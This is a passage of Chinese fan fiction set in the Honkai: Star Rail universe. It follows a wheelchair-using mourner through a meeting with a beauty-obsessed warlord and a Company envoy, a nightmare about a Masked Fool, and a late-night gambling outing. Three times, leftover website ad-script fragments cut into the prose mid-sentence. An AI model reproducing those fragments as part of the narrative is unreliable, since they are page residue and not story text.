“「玛瑙世界」梅露丝坦因,「纯美」伊德莉拉的飞升之地,一颗永存不灭之美的星球。悲悼伶人的飞船曾经行至那里,我按照记忆中的模样为您制作了这一颗微缩星球模型。” 摩根勒菲对着明媚的日光观察这颗琥珀里的星球,笑出声音: “梅露斯坦因……她真美丽。谢谢你,伶人。这的确是一份饱含真挚心意和珍贵价值的礼物,我很喜欢。” 这位优雅甜美的女主人将礼物妥帖收好,很快带他来到花园。 摩根勒菲把一柄小巧的银剪刀递到伶人手中,将那一束玫瑰指给伶人看。她退后两步,以深红色的眼睛殷切地鼓励着他去将花枝剪下。 伶人垂首,斟酌片刻,选择不剪除玫瑰上的刺,轻柔地将那朵浅蓝色的玫瑰剪下。 他的动作足够轻,因此那些棘刺也无法刺伤他。 悼歌归还剪刀,说:“谢谢您的礼物,想必您在这朵玫瑰上花了很多心思……” 悼歌还没说完,摩根勒菲忽然取走了悼歌手中的玫瑰,以银剪刀将刺一一剪除。 她捏着这朵玫瑰欣赏片刻,忽然弯腰,将它插在伶人的发间。 淡蓝色的玫瑰轻轻落在悲悼伶人白色的长卷发之间,和伶人浅蓝色的眼睛互相映衬。在阳光下,伶人露在外面的肌肤几乎透明,他安静地坐在轮椅上,像一尊凝固的雕塑,显出一种独特的美感——这种美感非常接近清澈的玻璃和镜面。而她喜欢镜面。 摩根勒菲满意地微笑,说:“这朵玫瑰,她的确很适合你。” 她继续微笑,说:“好啦,接下来你想做什么安排?我接下来有一位来自公司的客人,你想见见他吗?还是说你想逛逛伊伊玛尼喀?” “……” 悼歌回想了一下之前使节团那难以招架的热情,委婉地说:“如果您愿意,我想和您一起见见这位公司的客人。” “那很好,他来自茨冈尼亚,是埃维金人。寰宇皆知,埃维金人有着独特的眼睛,这一点我认同,所以我也收藏了一份埃维金人的眼珠。”摩根勒菲以平常的口吻说出可怕的信息,“只可惜自从那场第二次卡提卡-埃维金灭绝案件之后,埃维金人就死得只剩一个了。操纵这一切的公司——他们真是比繁育的虫群更惹人厌烦啊。” “……”悼歌说,“星际和平公司,他们给予的前提是索取。然而只要身处寰宇,您就无法避开这个庞然大物。” “是啊……”摩根勒菲如叹息般长长呼出一口气,但下一刻,她立刻又甜蜜地微笑起来,“不过你当相信,这寰宇中仍存在‘美’的事物,一星半点的丑恶并不会使它失去力量,只会更激发它的光彩——来吧,让我们去见见这位公司的使节吧。” ————————- 摩根勒菲将接见公司使节的地点选在一间更加严肃的会客室。 要去往此处,需要穿过一条长而错综复杂的走廊,非常能够折磨人的耐心。 推着轮椅的摩根勒菲却走得平稳匀速,看不出一点急切,也看不出一点吃力。 她推着悼歌来到会客室入口处,推开花纹繁复的门扉,入眼是穹顶极高的明亮场所,猩红色的地毯从最远处一直铺展到门口。最远处的墙壁上悬挂着一副巨大的油画,画像上正是摩根勒菲本人。画像下方,是一块白色大理石材质的平台,上面用立架支着一面镜子的碎片,其余的地方摆满一盆盆鲜花,一直摆放到平台的脚边。 这不像会客室,反而像是某种宗教场所。 悼歌安静地坐在轮椅上,注视摩根勒菲拾级而上,来到碎镜前,虔诚擦拭镜面。 此地非常宁静,时间的流逝也不容易察觉,很快,他们就再次听到门扉被推开的吱嘎声。 为公司使节打开门扉的引路人悄无声息地离开了,于是偌大的场所中只剩下那位公司使节、悼歌和摩根勒菲。 悼歌和摩根勒菲站在房间这一侧,而公司的使节站在房间的另一侧,他摘下那顶帽子,脸上带着浮于表面的笑容,一边说话一边走近: “久仰大名!摩根勒菲女士。不才砂金,公司战略投资部的不良资产清算专家。听说您的生日将近,公司特地派我来为您献上贺礼。” 他的穿着之华丽花哨,比起摩根勒菲也不遑多让!那一身肉眼可见昂贵的行头让他像一只花枝招展的阿蒂尼孔雀。 并且正如摩根勒菲先前所说,他有一双奇异的眼睛,是一种特殊的蓝紫色眼睛,从外到内,分成三圈,每一圈都是一种瑰丽的色彩——让人很容易联想到当地信仰的三重眼的地母神,芬戈-比约斯。 摩根勒菲静静地等待他走近,脸上挂着弧度正好的微笑。 她开口说: “你好,砂金先生,谢谢你的到来。在我们开始谈话前,我有一个问题。” “你是否承认纯美的星神恩?德芮美貌盖世无双?” “……” 砂金呆了片刻,立刻反应过来。 这位公司的生意人挂着和摩根勒菲一样弧度正好的微笑说:“我承认,纯美的星神恩?德芮美貌盖世无双!” “很好,谢谢。”摩根勒菲满意地伸出一只手,向砂金介绍一边的悼歌,“向你介绍,这位是我尊贵的客人,悼歌。” “您好,”悼歌对着砂金致意,“公司的使节。” “你好,你好。”砂金仔细地审视悼歌,从白色的长卷发看到身后的轮椅,最后视线停留在那朵插在白色长卷发的玫瑰上,目光别有深意。 ……看出来砂金视线落点的悲悼伶人想了想,更加消沉: 也许这位公司的使节已经开始怀疑他和摩根勒菲女士有什么不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 正当关系,说得直白一些,也许砂金怀疑他是大富婆包养的小白脸。因为他现在还头戴着那一束奇异的玫瑰,一眼能看出来自摩根勒菲的庄园。 这位公司的使节大概在想如何利用这种身份。 “和你长话短说,砂金先生。”摩根勒菲没有留意到砂金的视线,说,“我知道你们公司为了什么而来。你们希望收购伊伊玛尼喀上的产业,现在的确是最好的时机。” 这位女士一上来就把表面的客气撕扯得粉碎。 砂金为之一默,继而假笑,说:“女士,您对公司有些误会。公司的确有意收购伊伊玛尼喀上的部分产业,但是我们怀着合作共赢的心态而来——” “合作共赢,指公司赢两次?”摩根勒菲微笑,说,“使节,你为何竟然在神前撒谎?谎言是‘纯美’的反面,亦是开展商贸合作的大敌。” “……”砂金将视线移到大理石平台上那面碎裂的镜子。 那一面镜子,镜面光滑,断口平整,空空荡荡,照不出任何事物。 显然,那是一面超验之镜。 纯美伊德莉拉,又称恩?德芮。 这位星神失踪之后,寰宇间纯美的派系渐渐没落。只剩下如今的纯美骑士团和揽镜人,揽境人们坚信,是寰宇对美的不同看法割裂了纯美的神躯。他们持有鸣叫超验之镜的实体,这些镜子照不出物质世界的景象,但却会照出看向它的人认定的“美”,并将它投射到现实之中…… 揽镜人相信这些镜子就是伊德莉拉的神躯碎片,因此只要将这些碎片拼合,纯美之神就将重临世间。 ……失策。「曼陀罗」摩根勒菲是个纯美癫子,为什么来之前公司的情报没告诉他这一点? 砂金深呼吸一口气,立刻调整战略。 他微微抬头去看向台阶上的摩根勒菲,让自己脖子边的奴隶编码暴露出来,并确保自己漂亮的眼珠和姣好的脸蛋能最大程度地暴露在摩根勒菲的视线之中—— 纯美癫子,他太懂了。 “女士,请原谅!”他摆出十足诚恳脆弱惹人怜爱的神情,震声说,“看在我这张美丽的脸的份上!” “……” 在一旁安静的悲悼伶人顿时对这位能屈能伸、看人下菜的公司使节肃然起敬。 “……”摩根勒菲看着砂金漂亮的眼珠,为砂金的举措笑出声来,“我现在有些明白,公司为什么会派你前来了。当然,谁说一张美丽的脸不值得一次原谅?你有什么想要说的,请吧。” “公司当然为利益而来——然而公司在伊伊玛尼喀上也称得上孤立无援,因此我们希望和您达成合作。”砂金一边说,一边观察摩根勒菲的脸色。 可惜这位美丽的军阀头子一直保持着甜蜜的微笑,什么也看不出来。 “自三十年前签订停战协议以来,老派军阀「疯牛」里奥和新兴的「毒蛇」安纳西愈发蠢蠢欲动……”砂金继续说。 “……您难道不想借此机会,予以他们一个重创,来稳固「曼陀罗」在伊伊玛尼喀的地位?”巧言簧舌的公司使节循循善诱,他脸上又浮现出那种不达心底的笑意,“公司可以成为您的帮手,朋友当然是越多越好,您觉得呢?” “很有道理,看起来我没有理由拒绝。”摩根勒菲微笑着说,“不过眼下,请回吧,公司的使节。三天之后,来生日宴上见我,那时我会给你答案。” 24.二十四、欢迎来到伊伊玛尼喀!! 公司的使节将帽子按在胸前示意,转身离开。 门扉再一次被闭合,留下“吱嘎吱嘎”的余音回荡在宁静的此地。 “悼歌,你怎么看?”摩根勒菲笑着问。 “……”悼歌斟酌了一下,直言说,“依照我对公司的理解……他们很有可能两头吃。砂金刚刚对您说过的话,也许此时正有公司的人在对着「毒蛇」和「疯牛」说同样的。我建议您先等等,问问曼陀罗在「毒蛇」和「疯牛」的眼线——如果您有的话。” “星际和平公司,他们总是把别人都当作傻瓜,以为自己是天下一等一的聪明人。他们何其傲慢啊?”摩根勒菲淡淡地说,“悼歌,你说得很有道理,他们在唆使鹬蚌相争,等着坐收渔翁之利呢。” 摩根勒菲转头看向超验之镜,说:“但公司所用的方法的确有效。我的那两位老朋友并不像我,他们更愿意相信人心之险恶,更容易互相提防猜忌。” “即使他们心知肚明这是公司的诡计,但他们不会相信另外两个能忍住这种诱惑。为了抢夺主动权,防止我们三个中有一个和公司合作满盘通吃,他们一定会答应公司的。”摩根勒菲微笑,说,“但那些亵渎纯美的丑陋之人,会采用更保险的方式……你猜他们接下来会怎么做?” “……也许接下来,「疯牛」和「毒蛇」就会来找您,和您说起公司的挑拨离间。”悼歌说,“他们也许会和您假意同盟,约定彼此为同一阵线共同对抗公司,却背地里悄悄联合公司,暗中下手。” “是的,不错。那正是他们会做的。”摩根勒菲颔首,笑着叹气,“为此我要感谢你,悼歌。你愿意在此时赴约,的确帮了我一个大忙。” “您客气了,”伶人礼貌地说,“我来亦有所求。也许您已经知道,您的老对手「疯牛」在他的同步轨道庄园上藏了一颗星核,而我为它而来。” “当然,怎能让你空手而归?”摩根勒菲森然一笑,“等到我血洗他的同步轨道庄园那天,你大可大摇大摆地走进去,他的所有一切都将任你挑选。” ———————————— 同砂金会面之后,悼歌又和摩根勒菲交谈了一会,话题主要是悲悼伶人们抵达的各个星球的风土人情和花卉的鉴赏,等谈话结束,天色已经微微暗下去,摩根勒菲提出由「曼陀罗」的使节送悼歌去鸢尾花旅馆办理入住。 这位女士盛情难却,悲悼伶人再一次败下阵来妥协: “麻烦您了。” “不,算不上麻烦。”摩根勒菲说,“你之前见到那些孩子是我的后裔,既然你是我的贵客,理应和我算作同辈。你可以将他们对你的热情看作一种尊老爱幼,孝顺亲长。” 悼歌在脑海中回忆那群使节:人均健美型身材,各个一米九高个,让这样一群人将自己看作“亲长”…… “……”悲悼伶人委婉地说:“谢谢,您的孩子们的确热情如火。” 热情如火的使节们再一次掏出轮椅,将悲悼伶人快速地运往鸢尾花旅馆。 又是熟悉的飞车,又是熟悉的座位安排,又是熟悉的话茬子不停的少年少女。 “摩根大人要我们为您安排鸢尾花旅馆的房间!我们已经为您预定了最好的房间,过去就可以休息了,只是有一点不好:我们鸢尾花酒店是伊伊玛尼喀最知名的酒店,因此公司的人大多也在那里……” 坐在他左手边的少女爽朗地笑着说。 “是的,但是没关系,请不要担心!我们预定了鸢尾花酒店最顶层的房间,那是只为曼陀罗内部成员开放的区域,因此一定没有公司的人来打扰您!不仅如此我们还准备了全套的按摩服务——什么?不需要吗?好吧……” 坐在他右手边的少年欢快地笑着说。 周围人都撒丫子狂欢,只有悼歌焉焉如霜打茄子的氛围中,忽然飞车产生了剧烈的震荡! 悼歌及时用拐杖戳着墙壁稳住身形。 他朝外看去,发现那是一群正在街头肉搏的两派势力。 可以看出,人人长得异常美丽的这一派来自曼陀罗,而各个膀大腰粗,胸膛好似双开门冰箱的另一派来自疯牛。 双方纷纷对对面怒目而视,发出的咆哮声十里外可闻!他们扭打在一起,由于多年来对对方的了解,每一拳都打到对方的要害。曼陀罗纷纷熟练地往疯牛的□□招呼,疯牛则痛击曼陀罗的脸,一时之间,惨绝人寰的悲鸣和愤怒到极点的谩骂不绝于耳! 悼歌:“……” 这场面,他是否应该去帮忙? 伶人检视了一下自己的情况,发现自己显然不具备掏裆的优势,于是决定不去添乱。 “***!”坐在他左手边的少女微笑着骂出一连串伊伊玛尼喀脏话,她抄起藏在飞车座位底下的棍子一跃而出,飞速冲进战场开始对敌人拳打脚踢,一边大声喊,“请稍后,客人!我们解决完这些人马上来!!” 其它美丽的少年少女纷纷跟在她身后跳下车去支援,并向悼歌展示了曼陀罗派系美丽外表下充分的武德。 这场纷争很快结束,毕竟这里还是曼陀罗的领地,更具有优势的曼陀罗们将对手打得捂着裆部哀嚎。 曼陀罗们扬眉吐气地顶着鼻青脸肿的脸猖狂大笑: “这就是我们曼陀罗啊!你们疯牛做得到吗!!” 悼歌:“……” 伊伊玛尼喀质朴的民风使得伶人大为震撼。 解决完小插曲的少年少女们迅速顶着满脸血回到飞车之上,好似什么都没发生一样继续和悼歌闲聊。 “让您看笑话了!不过不用担心,这只是发生在伊伊玛尼喀的日常之一。那群疯牛人如其名,就是一群成天只会找事的家伙……自从三十年前和平协议签订之后,这样的事一天大概要来个十几次吧?毕竟不能开火了,只好每天搞搞肉搏这样子……”脸上染血的少年开朗地说,“但别担心!我们曼陀罗派系也很擅长打架——能否和十个形似疯牛的肌肉壮汉近身搏斗是衡量一个曼陀罗是否能够独当一面的标准,在伊伊玛尼喀就得武德充沛才行……” “……”悼歌沉默,委婉地说,“也许,我想我不是那么擅长‘和十个形似疯牛的肌肉壮汉近身搏斗’……” “哦,这我们看得出来。”另一位脸上染着血的少女爽朗地说,“没关系,谁说要单挑了?如果您打不过,大喊一声‘纯美的星神恩?德芮美貌盖世无双!!’,在曼陀罗的领地上就会跳出来数十个曼陀罗帮您一起痛揍对面!在伊伊玛尼喀就得不讲武德才行……” 悼歌:“……” 悲悼伶人说:“谢谢,不是没有道理。我会铭记在心。” “您性格真好啊!”少年少女们纷纷感动道。 “……”悼歌已经记不起这是第几次在这群活力过于充沛的热情人们面前败下阵来,他无奈地说,“谢谢夸奖。我们还是快走吧。” —————————— 热情过头的使节们一直将伶人送到房间门口,并且还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 试图一起进来,为伶人一并解决洗漱问题。 伶人坚决拒绝了这个提议。 使节们遗憾地向伶人道别,并热情地提出明天早上来接伶人一起逛伊伊玛尼喀的提议,悼歌实在不忍心打击这群人,点头应下。 送走使节的伶人拄着拐杖走进房间内,在简单地为自己做过清洁之后,准备休息。 他摘下发间的玫瑰,将它保存在一只细口花瓶中。 做完这一切的伶人躺上床,关闭了柔和的灯。 记忆之中的场景渐渐黑下去。 (“……所以,这一段记忆结束了?”景元开口问。 “应该是吧?看起来记忆是以悼歌失去意识作为截断点的……”卡芙卡摸着下巴分析。 “哎呀,你们对记忆太不了解!”愚者笑眯眯地反驳,“记忆和意识不一样,即使你睡着了,但记忆仍然还在记录着你的感受——梦。现在你们可以好好期待一下啦,你们或许是第一次近距离观看别人的梦吧?”) 伶人在做梦。 梦中,他身体机能完好,能跑能跳,但奇怪的是,他并不为此高兴。 有一张诡异的血红色面具停在伶人的前方,发出悠悠红光,那面具上绘着极其夸张的笑脸,似笑非笑,嘲弄讥讽,一个标准的阿哈面具。 伶人伸出手去够这张面具。 面具轻巧地躲开了。它在半空中晃晃悠悠,晃晃悠悠,似乎无声嘲笑,嘲笑伶人的无能。 伶人再一次试图伸手去够。 那面具再一次轻松躲开。 悲悼伶人就像个不知疲倦的孩子,一次又一次徒劳地试图抓住那张面具,一次又一次被面具嘲笑和戏弄。 他脸上浮现出非常非常罕见的大波动情绪:他紧紧抿着嘴唇,浅蓝色的眼睛在眼眶中微微颤抖。 他的手在不正常的痉挛,那竭力伸长的手指末端颤动幅度之大,仿佛一个罹患帕金森多年的患者。 随着伶人的颤抖越来越明显,周围似乎出现了若有若无的笑声—— 那笑声越来越近,越来越近,最终贴着伶人的耳朵响起。 伶人猛地转身,对着笑声响起的地方开枪射击! 他击中的只是面具。 面具四分五裂。 但下一刻,被击中的面具忽然聚拢,黑暗之中伸出一只涂着红色指甲油的手。 手的主人将面具按在脸上,带着笑意的声音在空荡荡的黑暗之中回响: “心理素质不行还真是老毛病呀,亲爱的小爱哭鬼。” 这声音如同上好的蜜糖,既甜蜜又黏腻,又似一颗成熟的红苹果,使人联想到水果的甜香。但那阴阳怪气又轻快的语调,一听就知道,此人是正宗假面愚者。 头戴癫笑面具的假面愚者从黑暗中踱步而出——这是一位身形高挑的女士,甚至足以俯视悼歌。 她身着猩红色宫廷长裙,披散着如火焰般的红发,从面具的空隙中可以看见一双幽绿色的眼睛,像蛇类闪闪发光的鳞片一般泛着异样光泽。 她具有充沛的武德,轻松地和状态异常的伶人打得有来有回,像猫捉老鼠一样,表现出十足残忍的戏谑耐心。 “开心吗?我从地狱中爬出来见你啦!红苹果祝你快乐……因为不快乐的人都死了!”她一边神经质地癫笑,一边取下面具,露出真容—— “!” 悼歌猛然坐起。 他能感受到自己的指尖,仍然在颤抖。 25.二十五、砂金亦未寝 ……是梦。 悼歌深呼吸,平复心率。 ……真的是梦吗……? 伶人在黑暗之中颤抖,周围的环境仿佛变成了真空,尘世的一切都在急速退去,只留下坟茔般死寂冰冷的寰宇。 他的耳边响起犹如警笛般尖锐的长鸣,握着他心脏肆意揉捏的手终于越过那看不见的警戒线,将最后的弦崩断。 那若有似无的笑声再一次贴在他耳边响起。 伶人极其缓慢地抬眼看去,一张血红色的癫笑面具和戴着面具唇角弯弯的女人,就站在他的床边,垂头看他,冰凉的红色发丝垂落在他的手上。 “砰”!! 一声巨响划穿鸢尾花的夜空。 “哎呀,哎呀。”一个欢快的声音突兀地出现在悼歌的房间里,声音的主人轻车熟路地点亮了房间里的灯,明亮柔和的光线顿时撒遍这整个区域。 “亲爱的忒利斯提斯,你这是闹哪一出哇?”金发绿眼的愚者仔细打量悼歌造成的破坏——一颗九毫米的子弹被伶人打了出去,现在房间内一片狼藉。 “……”悼歌抬眼看向假面愚者。 此刻伶人激荡的种种情绪久久不能平静,浅蓝色眼睛像七号星的凝熔冰,既模糊又冰冷。 悼歌立刻将哭泣着的面具按在脸上,压抑地说:“没什么……我的精神病犯了。大概。” 他扶着面具的手还在颤抖,不知道是因为打出去那枚子弹,还是因为剧烈的情绪波动。 “我猜猜,”愚者轻快地走过来,笑眯眯地说,“又见到那个红头发颠姥啦?你这是日有所思夜有所梦。一定是因为摩根勒菲她穿的衣服和那个颠姥穿的款式太像了!” “……”伶人深呼吸,摘下面具,恢复到平常惯用的神情,说,“很有道理的推断,足以被称为妙手回春的心理学神医,我感到我的精神病好了大半。” “哈哈!”愚者笑出声音,他敏锐地停了片刻,笑着说,“哎呀——我听见有人来找你了。我先走咯!” “哦对了,这一次我给自己起的名字是杰斯特。怎么样?”愚者破窗而出,不忘记轻飘飘地留下一句话,“我觉得不错!” “确实不错,很有你的风格。”悼歌对着呼呼漏风的窗户颔首,说。 “哈哈!”风中传来一声渐渐飘远的笑声。 “我们听到您的房间传出巨响!”此时,鸢尾花酒店的安保服务人员全幅戒备地一脚踹开了悼歌的房门,“您还好吗?!!” 夜晚的凉风从碎了个大洞的玻璃窗呼呼吹进,卷着悼歌柔软的白色卷发轻轻扬起,又轻轻落下。 悲悼伶人收回望向窗户的视线,回头。 他一边走近来取下那一朵插在花瓶上的玫瑰,一边说:“我没事,劳动各位走一趟,抱歉。” “呃……那刚刚的枪响是……?” 悼歌说:“一位假面愚者的影像突然出现在我的房间内,因此我开了枪。但好在她早已经死了……那并不是真正的假面愚者。只是一场虚惊。” 安保服务人员们看了看一片狼藉的房间内,又看了看窗户上那呼呼漏风的大洞,对悼歌肃然起敬:“您的意思您已经击毙了那个闯入的假面愚者?” “我想您的理解可能存在一点偏差……”悼歌说。 “不愧是摩根大人的贵客!”他们欣慰又敬佩地忽视了悼歌的辩解,脸上流露出“我懂你放心”的神情,“请放心,我们立刻给您安排新房间!至于您击毙假面愚者这一件事情,绝对不会有除了鸢尾花酒店之外的人知道!” 悼歌沉默片刻,还是决定指出这其中逻辑不通之处:“您没有发现,房间内没有血迹吗?” “什么?血迹?什么血迹?”安保们大吃一惊,“假面愚者怎么会流血?” 悼歌放弃解释,郁郁地说:“您对假面愚者有误解。总之……我很抱歉,打扫和处理还要麻烦你们了。” —————————— 鸢尾花酒店很快给伶人将隔壁的空房收拾了出来,但这场骚动显然惊动了一些其它住在这酒店中的人。 “你们鸢尾花酒店的安保真叫人忧心呐,”穿着华丽的公司使节皮笑肉不笑地对着拦住他的鸢尾花工作人员说,“我好好地在房间休息,忽然听到一声枪响!我顿时手脚发抖冷汗直流,茶饭不思不能安寝!如果不能看看到底怎么回事,我接下来几天的人生都会陷入灰暗无望的惨境之中……” “请您放心!入侵者已经被击毙了,”工作人员欢快地说,“我们一定会保护好住店旅客的生命安全,不必担忧!” “这是击毙不击毙的问题吗,朋友?”砂金笑,凉凉地说,“公司诚心在这里入住,结果第一天你们鸢尾花酒店就闹出了这样的事情……” “……”悼歌注意到另一边的谈话。 很显然这位公司使节在找由头为自己的计划牟利,如果他不出面,也许这位工作人员还要被为难许久。 悼歌拄着拐杖走过来:“晚上好,砂金先生。” “晚上好,朋友!”砂金对着他挥了挥手,“你听见那声枪响了吗?可真叫人心慌呐……” “我听见了,”悼歌直言说,“是我开的枪。开枪原因与鸢尾花酒店的安保无关,您不必担忧。” “……” 砂金一愣,随即笑意加深:“悼歌先生够直白。交个朋友如何?反正今晚是睡不成了,要去找点痛快玩么?” 悼歌拄着拐杖沉思,说:“您既然这样邀请,我没有拒绝的理由。” 他话锋一转,垂眼示意砂金看向他的左手和左腿,慢吞吞地补充说:“但是您也看见,我行动多有不便。或许您想要找的‘痛快’,我难以奉陪。” “什么话,朋友?”砂金早有准备地拍拍手,他身后,两个公司职员立刻掏出一张折叠轮椅。 砂金指着轮椅,笑说:“如果你担心行动不便,我可以推着你走。” 悼歌:“……” 悲悼伶人忽然生出一种消沉感。 他微不可察地吸气,提起精神来,说:“谢谢,其实我能自己走。既然您如此坚持,那么我们走吧。” “悼歌先生,需要我们派人陪同吗?”在一旁的工作人员欢快地问。 “你们这是什么意思?”砂金斜眼去看工作人员,皮笑肉不笑地质问,“我和这位朋友一起出去玩,你们还要派人跟着?鸢尾花酒店未免管得太宽了吧。” 悼歌对工作人员说:“谢谢您的好意,不必担心,我具备一定的自保能力——并且先前曼陀罗的成员已经传授给我伊伊玛尼喀生存诀窍……” 悼歌又对砂金说: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “抱歉,我想鸢尾花酒店提出这样的建议,只是因为担心客人的安全。” “你说了算,朋友。”砂金将那顶暗色的帽子在手上转了一圈戴在头上,微微扶正,笑说,“好咯,那咱们就出发吧。” ———————————————— 凌晨两点,完全不睡的悲悼伶人和公司使节在空旷的街道上徒步步行。 虽然时值夏季,但这样的深夜里气温依旧不高。凉风呼啸而过,卷得路边的高大树木沙沙作响。 悲悼伶人慢吞吞地拄着拐杖跟在砂金身后。 这位公司使节坚持要步行前往目的地,并且搬出一二三四五个理由,证明夜晚步行的好处……他只好舍命陪君子。 “朋友,”砂金边走边问,“你不像伊伊玛尼喀人。” “是的,”悼歌直言回答说,“我来自伽伦德星系,第七号星。如果您有印象,钻石曾经带领战略投资部拿下了这一片星系的开发权……现如今它已经毁于反物质军团之手,变成寰宇中的劫灰。” “……”砂金笑,“哦,理解。也许你看得出来,我是个茨冈尼亚人。公司也对我的母星做了差不多的事情……” 悼歌摩挲着拐杖,说:“市场开拓部的部长,前无名客,奥施瓦尔多?施耐德,他一手操纵了那颗星星上的灾难。即便是前无名客之中也偶尔会有这样的人,寰宇的确充满多样性。” “谁说不是呢?”砂金一边点击通讯器界面,一边说,“我刚刚看了鸢尾花的公告,原来是假面愚者跑到伊伊玛尼喀来了?巧了,我曾经也受到过酒馆的邀请!不过假面愚者为了找乐子既无底线也无原则,是一群名副其实的癫子……还是和文明人打交道更舒服,你说呢?” “我认为,”悼歌说,“假面愚者中也有值得信赖的朋友。” 砂金侧目,微微吃惊:“失礼。我没看出来你是个假面愚者。” 悼歌:“您误会了。实际上,我是一名悲悼伶人。” “悲悼伶人?”砂金问,“我听说悲悼伶人乘坐跨越星球的贡多拉在星海漫游,进行演出,为牺牲的英雄谱写悲剧,为熄灭的星星献唱哀歌……你来到伊伊玛尼喀,是为了谁呢?” “我来到伊伊玛尼喀,是因为我收到了摩根勒菲女士的邀请。”悼歌平静地回答。 “原来如此。摩根勒菲女士,”砂金笑,“一位美人。听你说来,也许你们已经认识了很久?之前在她的庄园,你们的关系看起来很亲近。” “……” 冰凉的夜风不停吹拂在伶人的面颊,为他提供强力醒神剂,让他得以在如此深夜还能提起精神,来陪这位八百个心眼子的公司使节玩打机锋的游戏。 悲悼伶人消沉地想:很好,他还是要说到他叫我出来的真正目的了。和公司的人说话,即使戴八百个联觉信标用于翻译也不管用。公司也许专门开过“谜语人速成培训班”,但他真的没有做谜语人的天赋。 他吸气,停步,拄着拐杖,凝视砂金的眼睛,直言说:“为防引起误会,我事先声明,摩根勒菲是一位值得尊敬的女士,也是为我解答诸多疑惑的前辈。” “如果您打算通过我来影响她的决策,”伶人在夜风中站得稳定,干脆地说,“请容我现在就返回酒店。她将信任交给我,我不会做刺向她的剑。” 26.二十六、你这个年纪,你怎么睡得着的? “别急嘛,朋友。”砂金把一枚筹码在指间转来转去,笑着说,“你怎么就觉得,我是要‘通过你来影响她的决策’?” “……”悼歌心情低落地摩挲拐杖,说,“容我直言。您今晚一夜未眠,专程在鸢尾花酒店守候,一听到异动,就闪现到现场,坚持邀我出来在凌晨两点的时间陪您一起在伊伊玛尼喀的大街上步行——” “您是公司战略投资部的成员,”悼歌继续说,“而公司很少做没有回报的事情。如果您做上述一切,不是为了‘通过我来影响摩根女士的决策’,不妨直说您的真正目的。” “就不能只是想和你交个朋友?”砂金一把抓住指间翩飞的筹码,“赌局上的局势瞬息万变呐,也许上一秒还是敌人,下一秒就能成为伙伴,现在的伊伊玛尼喀不就是如此吗?在这样危险又暗流涌动的时刻,朋友当然是越多越好,不是吗?” 悼歌:“……” 悼歌:“您想说,这一次说不通还有下一次,是吗。” “你可以这样理解。”砂金理直气壮,毫不心虚地承认。 悼歌:“……” 悼歌焉焉地说:“您能走到石心十人的位置不无道理。从某种意义上来看,您的确有惊人的毅力、坚持和决意……” “过奖!”砂金谦虚道,他指着前方的一家还亮着灯的酒馆,“好咯,我们到目的地了。难为你陪我走那么久,今晚的消费我买单,随便花。” ———————————— 公司的使节带着伶人在伊伊玛尼喀的各种娱乐场所逛到凌晨四点。 在这短短两个小时中,他直观且清晰地向伶人展示: 什么叫命运之子,什么叫母神眷顾。 凡是他押注的赌局,没有赔的;凡是他抽的奖,无有不中;就连抓娃娃机也不能违反。 悼歌亲眼看着这位使节只是随意摇动了一下遥杆,那一堆娃娃山就轰然倒塌,滚滚落地。 砂金笑着在那堆娃娃里挑挑拣拣,捡起一只愁眉苦脸的流泪猫猫头公仔,塞给悼歌,说:“朋友,人生易如反掌啊。” 悼歌:“……” 悲悼伶人慢吞吞地松开自己握着遥杆的手。 他已经在这个抓娃娃机投入了七枚游戏币,还没有抓到自己想要的那一只娃娃。此刻他低头,和砂金塞过来的流泪猫猫头对视,因噩梦和熬夜导致的情绪低落更上一层。 悼歌深呼吸一口气,坚决地把这个流泪猫猫头还给砂金,开始往抓娃娃机投入第八枚硬币。 “你还要玩吗?”砂金接住伶人换回来的公仔,问,“你想要哪一只,我帮你抓?” “多谢好意,但请容我再试一试。”悼歌拒绝。 悼歌气沉丹田,目光沉静,以十二万分的专注力盯着抓娃娃机的钩爪,先前失败的七次经验在此刻完美地发挥作用,他想要的玩偶已经快到出口—— 就是现在! 悲悼伶人眼疾手快地拍下按钮。 “叮咚!恭喜您!要再玩一次吗?” 娃娃机欢快地亮起一圈彩灯,将那个笑眯眯的玩偶吐了出来。 悼歌松了一口气。 他用拐杖点了点地面,那只笑眯眯的玩偶从地上飞起来落进他手。 “朋友,”砂金摊手,“你对这只玩偶也太执着。我以为按照悲悼伶人一贯的口味,你会更喜欢我送你的那个。” “不,”悼歌说,“我只是觉得,我有一位朋友可能会喜欢这个玩偶,所以想要抓来送给他。” “好吧,”砂金笑,把手中的流泪猫猫头一起塞给悼歌,“那这个也送给你,就当是我这个朋友送给你的。” “……谢谢,”悼歌迟疑片刻,接过来,“虽然您可能对悲悼伶人的审美有一点误会。” “哦,对了,”砂金从口袋里掏了掏,掏出一叠信用点,说,“之前让你陪我步行我很抱歉。别介意朋友,这点信用点就当我的赔礼。” “信用点就不必了。”悼歌不迟疑地拒绝说,“悲悼伶人的信条是禁欲和苦修,您这样送我钱财,会使我信条被腐蚀……” “好吧。”砂金遗憾地收回手。 “好咯——”砂金夸张地伸了个懒腰,笑着说,“玩得也够了,该回去休息了。希望你有开心。” 悼歌抱着娃娃,说:“谢谢。” 他顿了一下,说:“我只有一个请求:请不要再坚持步行回去了。” —————————— 凌晨四点半,处理好所有事情(包括砂金送的那个娃娃,悼歌毫不意外公司使节往娃娃里塞入了一打窃听器),悼歌终于重回鸢尾花酒店的床上,他再一次闭上眼睛,然而没睡两个小时,清晨六点的闹钟就准时响了起来。 他消沉地伸手,关掉闹钟,缩手,闭上眼睛。 然而他一闭上眼睛,悲悼伶人苦修的信条就在脑海中对他怠惰的行为大加斥责,使他的良心隐隐不安。 悼歌:“……” 他睁开眼睛,将自己从床上拔起来,如梦游一般走到洗漱台前洗漱。 悲悼伶人以一如既往的严肃认真态度清洁身体,并耗费大量时间来调整自己的头发,以确保它们能够严密地遮挡皮肤的病变。 正在他对着镜子调整最后一小撮顽固的发丝时,镜子忽然像水面般漾开了一圈涟漪。 一位紫发红眼的女士在镜面缓缓浮现,正是摩根勒菲。 “早上好,悼歌。”这位曼陀罗掌权人在镜中向伶人打招呼,关切地问,“我听说昨晚有一位假面愚者闯入鸢尾花酒店,你还好吗?” “早上好,摩根女士。”悼歌放下整理头发的手,拄着拐杖静静回答,“我没事,请别担心。” 